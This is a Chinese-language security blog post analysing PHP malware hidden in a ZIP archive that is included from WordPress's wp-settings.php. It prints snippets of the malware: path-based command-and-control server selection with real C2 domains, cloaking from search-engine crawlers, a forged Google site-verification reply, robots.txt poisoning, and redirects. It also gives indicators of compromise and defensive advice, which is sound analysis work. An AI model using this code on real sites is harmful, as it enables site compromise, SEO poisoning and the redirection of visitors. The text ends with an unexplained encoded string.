隐蔽PHP恶意软件利用ZIP压缩包重定向WordPress访客
上个月,一位客户联系我们,担忧其WordPress网站持续出现莫名的重定向。我们的调查迅速发现了一个嵌入在网站核心文件中的复杂恶意软件。这不仅仅是一个简单的重定向,而是一个旨在进行搜索引擎投毒和未授权内容注入的复杂操作。
我们发现了什么?
初步分析将我们引向 wp-settings.php 文件,这是WordPress的核心组件。我们发现了两个高度可疑的代码行:
$h = str_replace('www.', '', $_SERVER['HTTP_HOST']);
include("zip://win.zip#$h");
这段代码是恶意负载的初始入口点。
第一行从 HTTP_HOST 头中提取裸域名,如果存在“www.”则将其删除。这是一种常见策略,确保恶意软件在不同域名配置下都能正常工作。
第二行是关键行。它尝试直接从 win.zip 压缩包内包含一个文件。PHP中的 zip:// 包装器允许访问ZIP压缩包内的文件,就像它们是普通文件一样。# 符号后跟 $h(提取的域名)表示应包含压缩包内以该域名命名的文件。这是一种非常隐蔽的方式,将恶意代码隐藏在一个看似无害的ZIP文件中。
经过进一步调查,我们找到了 win.zip 文件。解压后,它包含一个高度混淆的PHP文件,这是核心恶意脚本。
攻击向量与入侵指标(IoCs)
- 在
wp-settings.php中包含zip://win.zip#<hostname> - 在
win.zip内部,有一个与主机匹配的文件,其中包含:解码后的负载中的访客特定重定向逻辑
恶意软件分析
从 win.zip 解压出的文件旨在被执行,它会立即开始解码并运行其真正的恶意内容。
初始设置与环境检测
恶意软件首先设置其执行环境,以确保无中断运行,并能够检测当前协议。
$is_secure = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? true : false;
恶意软件检查当前连接是否安全(HTTPS)。这对于正确获取外部资源和避免客户端混合内容警告非常重要。
动态命令与控制(C2)服务器选择
该恶意软件的一个巧妙之处在于能够根据请求的URL动态选择其命令与控制(C2)服务器。这使得它更难被关闭和完全阻止,因为网站的不同部分可能使用不同的C2进行通信。
什么是命令与控制(C2)服务器?
C2服务器是黑客用来远程控制受感染设备(如计算机或网站)的系统。它向恶意软件发送命令并接收回传的被盗数据。
if (strpos($_SERVER['REQUEST_URI'], '/products.php') !== false) {
$c2 = 'http://wditemqy.enturbioaj.xyz/';
} elseif (strpos($_SERVER['REQUEST_URI'], '/detail.php') !== false) {
$c2 = 'http://oqmetrix.icercanokt.xyz/';
} else {
$c2 = 'http://yzsurfar.icercanokt.xyz/';
}
这段代码允许攻击者根据访客访问的具体页面提供不同的恶意内容或重定向,可能针对不同的SEO细分市场或用户群体。
反爬虫与隐蔽机制
为了避免被搜索引擎爬虫和安全扫描器检测到,恶意软件包含了一个复杂的反爬虫机制。
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/googlebot|bingbot|yahoo|slurp|duckduckbot/i', $user_agent)) {
return; // 不输出恶意内容
}
当检测到像Googlebot、Bing或Yahoo这样的爬虫时,恶意软件通常会禁用其恶意输出(例如,无重定向、无垃圾内容)。这可以防止被入侵的内容被搜索引擎索引,帮助感染行为对网站所有者(他们可能会在搜索结果中检查自己网站的外观)以及经常模拟爬虫行为的自动化安全扫描器保持隐藏。
远程内容获取与通信
恶意软件尝试从给定的URL获取内容。恶意代码设计用于发送数据——可能是收集网站信息或状态更新——通过POST请求回C2服务器。
网站文件操纵(SEO投毒策略)
此恶意软件的一个主要目标是搜索引擎投毒,通过操纵被入侵网站上与SEO相关的关键文件来实现。
// 拦截Google站点验证文件请求
if (strpos($_SERVER['REQUEST_URI'], 'google') !== false && strpos($_SERVER['REQUEST_URI'], '.html') !== false) {
echo 'google-site-verification: <attacker_owned_code>';
exit;
}
恶意软件拦截对Google站点验证文件的请求并以允许攻击者在Google搜索控制台中验证该站点的方式响应,从而有效控制其SEO设置。
// 修改robots.txt
$robots = file_get_contents($c2 . 'contents.php');
if (file_exists('robots.txt')) {
$robots = file_get_contents('robots.txt') . "\n" . $robots;
}
file_put_contents('robots.txt', $robots);
它从C2服务器上的 contents.php 获取内容。如果本地 robots.txt 存在,则修改它;如果不存在,则从一个默认的“允许所有”规则开始。关键的是,它随后附加一个指向攻击者控制的sitemap URL的sitemap指令。这会引导搜索引擎抓取托管在你被入侵网站上的攻击者垃圾内容,从而提升他们非法的SEO效果。
动态重定向与内容服务
从用户角度来看,该恶意软件的最终目标是动态提供内容或进行重定向。
// 根据请求路径进行重定向
if (strpos($_SERVER['REQUEST_URI'], '/products.php') !== false) {
header('Location: http://wditemqy.enturbioaj.xyz/');
} elseif (strpos($_SERVER['REQUEST_URI'], '/detail.php') !== false) {
header('Location: http://oqmetrix.icercanokt.xyz/');
} else {
header('Location: http://yzsurfar.icercanokt.xyz/');
}
exit;
恶意C2域名
wditemqy[.]enturbioaj[.]xyzoqmetrix[.]icercanokt[.]xyzyzsurfar[.]icercanokt[.]xyz
恶意软件的影响
- 搜索引擎排名操纵:通过注入垃圾内容、未授权的sitemap和执行301重定向,攻击者旨在利用被入侵网站的权威性,在搜索结果中提升自己的恶意或垃圾网站。
- 声誉损害:被入侵的网站可能被安全厂商、网络浏览器和搜索引擎标记为恶意网站,导致声誉受损。
- 检测与清理困难:使用ZIP压缩包进行代码包含、多层混淆和反爬虫措施使得网站所有者很难在没有专家帮助的情况下检测和清理此恶意软件。
防护建议
- 始终保持软件更新:确保你的WordPress核心、主题和所有插件都是最新版本。
- 从可信来源获取主题和插件:仅从官方WordPress.org目录或直接从知名、受信任的开发者处下载主题和插件。
- 实施强凭证安全:为所有WordPress管理员账户、数据库、FTP和主机控制面板使用唯一、复杂且长的密码。对所有用户角色(尤其是管理员)启用双因素认证(2FA)。
- 使用Web应用防火墙(WAF):一个强大的WAF,如Sucuri等安全服务提供的产品,可以作为前线防御。
- 定期扫描网站恶意软件:为你的WordPress网站实施定期的、自动化的恶意软件扫描。
结论
这种棘手的恶意软件表明攻击者变得越来越聪明。但你可以保护你的网站!保持软件更新,使用强密码,定期扫描恶意内容。始终备份!对安全保持警惕能让你的网站安全且值得信赖。 jZsKZdINXrVc9QY8XQ5Ax/HmrWATJet1GxUy2jBZcmPpaWN/SWIZGX3pVX6DqlbCpKfkdGXtx7a+CfW9pWJzbVak/KTl3fOjuOQDsSQ7DR7IEMx1ugVbOx4uvnTXnuyzw3VHiGuFmTRXWfPfKAxI0Q==